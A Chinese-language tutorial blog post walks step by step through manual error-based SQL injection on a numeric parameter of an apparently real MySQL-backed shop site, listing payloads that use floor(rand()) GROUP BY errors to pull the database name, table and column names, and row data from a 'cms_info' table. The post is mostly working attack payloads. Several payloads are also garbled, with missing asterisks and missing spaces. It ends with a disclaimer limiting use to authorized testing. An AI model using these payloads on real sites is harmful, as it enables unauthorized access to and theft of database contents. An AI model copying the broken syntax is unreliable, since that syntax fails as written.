記手工SQL數字報錯型注入
VSole2021-08-31 19:24:34
前言
上篇已經發了一篇回顯型SQL注入,SQL剩下的還有報錯型、盲注,今天再記一下報錯型的流程,僅做參考
01 正文
1.先通過引號 判斷該網站為數字型,payload直接拼接,無需引號閉合,當網站后直接構造拼接 and 0# 網站商品列表內容受到影響提示報錯,此為回報錯型注入

payload:and 0#
2.這與回顯型注入不一樣的是,不需要確定回顯位,這里直接使用floor()直接構造payload查詢即可,查詢收集數據庫信息,注意查詢出來的結果“1smtmax8_smtmax”里面的1為系統前半段查詢出的結果,與最后結果無關,省略1即可,查詢結果應為“smtmax8_smtmax” 到此,之后取數據的步驟都與回顯型相似

payload:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),database())x FROM information_schema.tables GROUP BY x)y)#
3.獲取表數量,通過上一步得到mysql數據庫版本大于5.1,可以通過MySQL的information_schema數據庫進行數據獲取,去掉1,則數據庫表數量為6

payload:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),(SELECT count() FROM information_schema.tables WHERE table_schema=database()))x FROMinformation_schema.tables GROUP BY x)y)#
4.取表名,通過LIMIT 0,1進行交替取值,一次過多可能會導致數據量過大的情況,一般通過取小數量字段即可正常取值

payload:and (SELECT x FROM (SELECT count(), concat(floor(rand(0)2),(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)) x FROM information_schema.tables GROUP BY x)y)#
5.獲取數據庫表字段數

paylod:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),(SELECT count() FROMinformation_schema.columns WHERE table_schema=database() and table_name=(SELECT table_name FROMinformation_schema.tables WHERE table_schema=database() LIMIT 1,1)))x FROM information_schema.tablesGROUP BY x)y)#
6.獲取數據庫表字段名

payload:and (SELECT x FROM (SELECT count(), concat(floor(rand(0)2),(SELECT column_name FROMinformation_schema.columns WHERE table_schema=database() and table_name='cms_info' LIMIT 0,1))x FROMinformation_schema.tables GROUP BY x)y)#
7.獲取表數據,可以對敏感數據進行取值,這里但僅為演示

payload:and (SELECT x FROM (SELECT count(),concat(floor(rand(0)2),(SELECT concat(id) FROM cms_info LIMIT0,1))x FROM information_schema.tables GROUP BY x)y)#
02 說明
以mysql數據庫,數字報錯類型進行sql手工注入流程,僅供參考,大佬們點點贊,切勿進行非法入侵活動,一切滲透測試應在網站授權的前提下進行。
VSole
網絡安全專家